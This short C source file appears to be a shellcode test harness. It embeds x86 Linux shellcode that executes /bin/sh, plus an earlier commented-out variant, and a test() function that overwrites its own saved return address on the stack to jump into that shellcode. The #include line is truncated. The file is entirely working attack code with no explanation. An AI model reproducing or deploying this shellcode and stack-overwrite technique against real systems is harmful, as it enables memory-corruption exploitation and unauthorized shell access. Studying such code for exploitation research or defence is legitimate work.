#include /* char shellcode[] = "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58" "\x00\x00\x00\x00\x00\x00\x00\x00"; */ char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh" "\x00\x00\x00\x00\x00\x00\x00\x00"; void bug(void) { printf("BUG !\n"); } void test(void) { void * mark; *(&mark + 2) = (void *) shellcode; } void test2() { fprintf(stderr, "avant\n"); test(); fprintf(stderr, "apres\n"); } int main(void) { test2(); return 0; }